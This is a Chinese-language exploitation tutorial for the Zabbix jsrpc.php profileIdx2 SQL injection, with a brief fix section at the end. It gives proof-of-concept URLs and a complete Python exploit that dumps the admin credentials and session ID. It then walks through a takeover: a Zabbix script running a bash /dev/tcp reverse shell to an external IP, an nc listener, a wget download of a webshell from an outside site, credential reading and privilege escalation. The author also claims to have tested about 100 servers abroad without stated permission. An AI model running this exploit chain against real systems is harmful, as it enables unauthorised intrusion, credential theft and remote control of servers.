在企业和个人安全意识不断增强,对有安全防护的企业来说,渗透比过去相对困难一些,而一些对硬件、资产等管理平台仍然存在弱口令等漏洞,一旦通过这些漏洞打开入口,将对企业安全造成巨大的威胁。Zabbix 是用得非常广泛的网络监测软件,其存在sql注入,声称可以获取管理员密码,虽然Zabbix 3.0.3以下版本存在漏洞,但如何利用,如何测试,您掌握了吗?
本文带您实测Zabbix 漏洞,掌握其存在漏洞,其具体利用方法,了解其存在的危险。在本文初稿完成后,笔者对美国、韩国、我国安装有zabbix的服务器进行了安全测试,结果表明美国等西方国家,绝大部分服务器的zabbix漏洞已经修复,而我国在100台服务器中高达60台服务器未修护。在未修护的服务器中绝大部分已经被人渗透过,最后希望通过本文,能加强大家对漏洞的风险认识,尽自己的一点微薄之力。
1. Zabbix sql注入漏洞漏洞简介
Zabbix 是一个开源的企业级性能监控解决方案。近日,Zabbix 的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆Zabbix 管理系统,也可通过script等功能轻易直接获取Zabbix 服务器的操作系统权限。Zabbix 2.2.x, 3.0.0-3.0.3版本存在该漏洞,可能导致敏感数据泄漏、服务器被恶意攻击者控制进而造成更多危害等,更多信息请访问其官方网站为http://www.Zabbix .com获取。
2.漏洞原理与分析
(1)高权限利用0day
Zabbix 最新SQL注入漏洞于8月12日由安全研究员 1N3@CrowdShield 和 Brandon Perry 负责任地披露于 Full Disclosure(http://seclists.org/fulldisclosure/2016/Aug/82),其提供的poc为:http://www.antian365.com/latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1
如果出现以下类似结果,则表明存在漏洞,该POC的前提必须是具备高权限用户。
-
SQL (0.000361): INSERTINTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (88, 1, ’web.latest.toggle’, ’1’, 2, 15385);
-
select * from users where (1=1)
-
latest.php:746 a require_once() a CProfile::flush() a CProfile::insertDB() a DBexecute() in /home/sasha/Zabbix -svn/branches/2.2/frontends/php/include/profiles.inc.php:185
Brandon Perry提供一个0day,经测试效果不佳:
-
/Zabbix /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2’3297&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
在关闭 display_errors 的环境下看不到效果,建议使用一个 sleep 函数,如果页面阻塞很久才返回,那说明漏洞是存在的,新的 PoC 如下:
-
/Zabbix /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2-sleep(10)&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
(2)低权限利用0day可获取管理员加盟密码
Zabbix 提供了以guest用户权限登录系统,登录系统后按照以下进行访问:
http://www.antian365.com/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2’3297&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
http://www.antian365.com为目标站点,如果存在漏洞则会给出如下错误信息:
-
<div class="flickerfreescreen" id="flickerfreescreen_1" data-timestamp="1471403798083" style="position: relative;"></div><table class="msgerr" cellpadding="0" cellspacing="0" id="msg_messages" style="width: 100%;"><tr><td class="msg" colspan="1"><ul class="messages"><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (191, 2, ’web.item.graph.period’, ’3600’, 2, 1 or updatexml(1,md5(0x11),1) or 11=1)#)] [XPATH syntax error: ’ed733b8d10be225eceba344d533586’]</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (192, 2, ’web.item.graph.stime’, ’20160817050632’, 3, 1 or updatexml(1,md5(0x11),1) or 11=1)#)] [XPATH syntax error: ’ed733b8d10be225eceba344d533586’]</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (193, 2, ’web.item.graph.isnow’, ’0’, 2, 1 or updatexml(1,md5(0x11),1) or 11=1)#)] [XPATH syntax error: ’ed733b8d10be225eceba344d533586’]</li></ul></td></tr></table>
其中ed733b8d10be225eceba344d533586为管理员的密码,经过核实该密码目前无法破解,且肯定不是管理员密码,很多Zabbix 缺省配置Admin密码Zabbix ,其md5密码值为5fce1b3e34b520afeffb37ce08c7cd66,如图1所示,Zabbix 实际md5之。而Guset用户的密码值为:d41d8cd98f00b204e9800998ecf8427e,也就是网上公开声称的可以获取管理员的密码那个0day的POC存在错误。

图1 Zabbix 密码解密
(3)存在注入点分析
在漏洞文件jsrpc.php中:
-
$requestType = getRequest(’type’, PAGE_TYPE_JSON);
-
if ($requestType == PAGE_TYPE_JSON) {
-
$http_request = new CHttpRequest();
-
$json = new CJson();
-
$data = $json->decode($http_request->body(), true);
-
}
-
else {
-
$data = $_REQUEST;
-
}
-
$page[’title’] = ’RPC’;
-
$page[’file’] = ’jsrpc.php’;
-
$page[’type’] = detect_page_type($requestType);
-
require_once dirname(__FILE__).’/include/page_header.php’;
-
if (!is_array($data) || !isset($data[’method’])
-
|| ($requestType == PAGE_TYPE_JSON && (!isset($data[’params’]) || !is_array($data[’params’])))) {
-
fatal_error(’Wrong RPC call to JS RPC!’);
-
}
-
$result = [];
-
switch ($data[’method’]) {
-
...
-
case’screen.get’:
-
$result = ’’;
-
$screenBase = CScreenBuilder::getScreen($data);
-
if ($screenBase !== null) {
-
$screen = $screenBase->get();
-
if ($data[’mode’] == SCREEN_MODE_JS) {
-
$result = $screen;
-
if (is_object($screen)) {
-
$result = $screen->toString();
-
...
-
require_once dirname(__FILE__).’/include/page_footer.php’;
通过类 CScreenBuilder 中的 getScreen 方法处理 $data 传入的数据。继续跟踪 CScreenBuilder 类:
-
/**
-
* Init screen data.
-
*
-
* @param array$options
-
* @param boolean$options[’isFlickerfree’]
-
* @param string$options[’pageFile’]
-
* @param int$options[’mode’]
-
* @param int$options[’timestamp’]
-
* @param int$options[’hostid’]
-
* @param int$options[’period’]
-
* @param int$options[’stime’]
-
* @param string$options[’profileIdx’]
-
* @param int$options[’profileIdx2’]
-
* @param boolean$options[’updateProfile’]
-
* @param array$options[’screen’]
-
*/
-
publicfunction __construct(array$options = []) {
-
$this->isFlickerfree = isset($options[’isFlickerfree’]) ? $options[’isFlickerfree’] : true;
-
$this->mode = isset($options[’mode’]) ? $options[’mode’] : SCREEN_MODE_SLIDESHOW;
-
$this->timestamp = !emptyempty($options[’timestamp’]) ? $options[’timestamp’] : time();
-
$this->hostid = !emptyempty($options[’hostid’]) ? $options[’hostid’] : null;
-
// get page file
-
if (!emptyempty($options[’pageFile’])) {
-
$this->pageFile = $options[’pageFile’];
-
}
-
else {
-
global$page;
-
$this->pageFile = $page[’file’];
-
}
-
// get screen
-
if (!emptyempty($options[’screen’])) {
-
$this->screen = $options[’screen’];
-
}
-
elseif (array_key_exists(’screenid’, $options) && $options[’screenid’] > 0) {
-
$this->screen = API::Screen()->get([
-
’screenids’ => $options[’screenid’],
-
’output’ => API_OUTPUT_EXTEND,
-
’selectScreenItems’ => API_OUTPUT_EXTEND,
-
’editable’ => ($this->mode == SCREEN_MODE_EDIT)
-
]);
-
if (!emptyempty($this->screen)) {
-
$this->screen = reset($this->screen);
-
}
-
else {
-
access_deny();
-
}
-
}
-
// calculate time
-
$this->profileIdx = !emptyempty($options[’profileIdx’]) ? $options[’profileIdx’] : ’’;
-
$this->profileIdx2 = !emptyempty($options[’profileIdx2’]) ? $options[’profileIdx2’] : null;
-
$this->updateProfile = isset($options[’updateProfile’]) ? $options[’updateProfile’] : true;
-
$this->timeline = CScreenBase::calculateTime([
-
’profileIdx’ => $this->profileIdx,
-
’profileIdx2’ => $this->profileIdx2,
-
’updateProfile’ => $this->updateProfile,
-
’period’ => !emptyempty($options[’period’]) ? $options[’period’] : null,
-
’stime’ => !emptyempty($options[’stime’]) ? $options[’stime’] : null
-
]);
-
}
CScreenBuilder 类对 $profiles 进行了更新,并且对 PoC 中的 profileIdx2 参数进行了赋值,但还没有传入数据库查询。
漏洞文件 jsrpc.php 中引入了 page_footer.php, page_footer.php会调用Cprofile 类:
-
if (CProfile::isModified()) {
-
DBstart();
-
$result = CProfile::flush();
-
DBend($result);
-
}
跟踪 flush 函数:
-
publicstaticfunctionflush() {
-
$result = false;
-
if (self::$profiles !== null && self::$userDetails[’userid’] > 0 && self::isModified()) {
-
$result = true;
-
foreach (self::$insertas$idx => $profile) {
-
foreach ($profileas$idx2 => $data) {
-
$result &= self::insertDB($idx, $data[’value’], $data[’type’], $idx2);
-
}
-
}
-
ksort(self::$update);
-
foreach (self::$updateas$idx => $profile) {
-
ksort($profile);
-
foreach ($profileas$idx2 => $data) {
-
$result &= self::updateDB($idx, $data[’value’], $data[’type’], $idx2);
-
}
-
}
-
}
-
return$result;
-
}
-
...
-
privatestaticfunction insertDB($idx, $value, $type, $idx2) {
-
$value_type = self::getFieldByType($type);
-
$values = [
-
’profileid’ => get_dbid(’profiles’, ’profileid’),
-
’userid’ => self::$userDetails[’userid’],
-
’idx’ => zbx_dbstr($idx),
-
$value_type => zbx_dbstr($value),
-
’type’ => $type,
-
’idx2’ => $idx2
-
];
//注入触发点
-
return DBexecute(’INSERT INTO profiles (’.implode(’, ’, array_keys($values)).’) VALUES (’.implode(’, ’, $values).’)’);
-
}
至此,SQL注入产生 。
(4)可供利用的exp
在独自等待的博客上面找到一个python的exp(http://www.waitalone.cn/Zabbix -sql-1.html)通过实际测试可以顺利获取管理员密码以及session,如图2所示,利用方法为:
-
python Zabbix .py http://114.111.111.1:81

图2 获取Zabbix 管理员密码
将以下代码保存为zabbix.py即可:
-
#!/usr/bin/env python
-
# -*- coding: gbk -*-
-
# -*- coding: utf_8 -*-
-
# Date: 2016/8/18
-
# Created by 独自等待
-
# 博客 http://www.waitalone.cn/
-
import urllib2
-
import sys, os
-
import re
-
def deteck_Sql():
-
u’检查是否存在SQL注入’
-
payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999’&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
-
try:
-
response = urllib2.urlopen(url + payload, timeout=10).read()
-
except Exception, msg:
-
print msg
-
else:
-
key_reg = re.compile(r"INSERT\s*INTO\s*profiles")
-
if key_reg.findall(response):
-
returnTrue
-
def sql_Inject(sql):
-
u’获取特定sql语句内容’
-
payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(
-
sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
-
try:
-
response = urllib2.urlopen(payload, timeout=10).read()
-
except Exception, msg:
-
print msg
-
else:
-
result_reg = re.compile(r"Duplicate\s*entry\s*’~(.+?)~1")
-
results = result_reg.findall(response)
-
if results:
-
return results[0]
-
if __name__ == ’__main__’:
-
# os.system([’clear’, ’cls’][os.name == ’nt’])
-
print’+’ + ’-’ * 60 + ’+’
-
print’\t Python Zabbix<3.0.4 SQL注入 Exploit’
-
print’\t Blog:http://www.waitalone.cn/’
-
print’\t\t Code BY: 独自等待’
-
print’\t\t Time:2016-08-18’
-
print’+’ + ’-’ * 60 + ’+’
-
if len(sys.argv) != 2:
-
print’用法: ’ + os.path.basename(sys.argv[0]) + ’ Zabbix 网站地址’
-
print’实例: ’ + os.path.basename(sys.argv[0]) + ’ http://www.waitalone.cn/’
-
sys.exit()
-
url = sys.argv[1]
-
if url[-1] != ’/’: url += ’/’
-
passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
-
session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
-
if deteck_Sql():
-
print u’Zabbix 存在SQL注入漏洞!\n’
-
print u’管理员 用户名密码:%s’ % sql_Inject(passwd_sql)
-
print u’管理员 Session_id:%s’ % sql_Inject(session_sql)
-
else:
-
print u’Zabbix 不存在SQL注入漏洞!\n’
3.漏洞实际利用方法探讨
对Zabbix 漏洞的实际利用是指在获取管理员密码后,通过管理中心添加脚本,执行脚本命令来获取反弹shell,通过shell来提权或者执行其它操作。
(1)获取管理员密码
Zabbix SQL注入漏洞可以很方便的获取管理员的密码,通过exp直接可以获取管理员密码,另外一种方法就是*力暴***力暴**,Zabbix 默认管理员账号Admin/zabbix 、admin/zabbix 。Zabbix sql注入漏洞获取管理员密码exp*载下**地址http://www.antian365.com/forum.php?mod=viewthread&tid=629&extra=
(2)创建脚本
登录系统后,单击“管理”-“脚本”-“创建脚本”,如果是英文,则是Administration- Scripts-Create Scripts。如图3所示。在名称中随便输入一个,例如cat,在命令中输入“bash -i >& /dev/tcp/122.11x.47.xx/4433 0>&1”,其中的122.11x.47.xx为监听的独立IP的服务器。

图3创建反弹脚本
(3)执行脚本命令
在执行脚本命令前,需要在监听服务器上使用“nc –vv –l –p 4433”监听4433端口,完毕后,在Zabbix 管理主界面,单击“监测中”,然后单击主机列表下的服务器,右键弹出的菜单中选择刚才创建的命令,如图4所示,选择刚才创建的脚本执行即可,执行成功后会成功获取的反弹的shell,如图5所示。

图4执行命令

图5获取反弹的shell
(4)查看配置文件并获取webshell
获取终端shell后,可以通过locate *.php或者find –name “.php”命令查找php文件所在具体位置,到该目录后,如果可写,则通过wget http://www.antian365.com/shell.txt命令*载下**webshell到本地,并执行chmod +x shell.txt命令给shell.txt文件可执行权限,最后将该文件重命名为php文件即可,如图6所示,成功获取webshell。

图6获取webshell
如果网站当前用户权限为root,则可以通过读取conf/Zabbix .conf文件读取配置文件内容,如图7所示,可以获取数据库用户和密码。

图7读取配置文件内容
(5)linux提权
在实际测试过程中,有部分服务器是采用root账号,绝大部分是Zabbix 账号,也就是普通用户,对于linux提权,需要查看其相应的内核版本或者应用程序存在漏洞,根据相应的漏洞进行编译和执行,如果存在漏洞则可以获取root权限,反之则无法提权。
(6)在zabbix还可以通过sessionid进行登录
使用Tamper插件,开启Tamper插件,在抓取到的包中,通过修改zbx_sessionid值为SQL注入获取的sessionid值,提交即可进入后台,如图8,图9所示。这种情况主要适合无法破解zabbix通过注入获取到的md5密码。

图8修改zbx_sessionid值

图9成功登录后台
4.在线网站漏洞检测
(1)https://www.vulbox.com/lab
(2)https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?service_id=1026
5、漏洞修复方案
(1)将当前版本升级到最新版本,补丁更新ttps://support.Zabbix .com/browse/ZBX-11023
(2)打补丁
(3)关闭guest账号,或者直接将guest账号删除。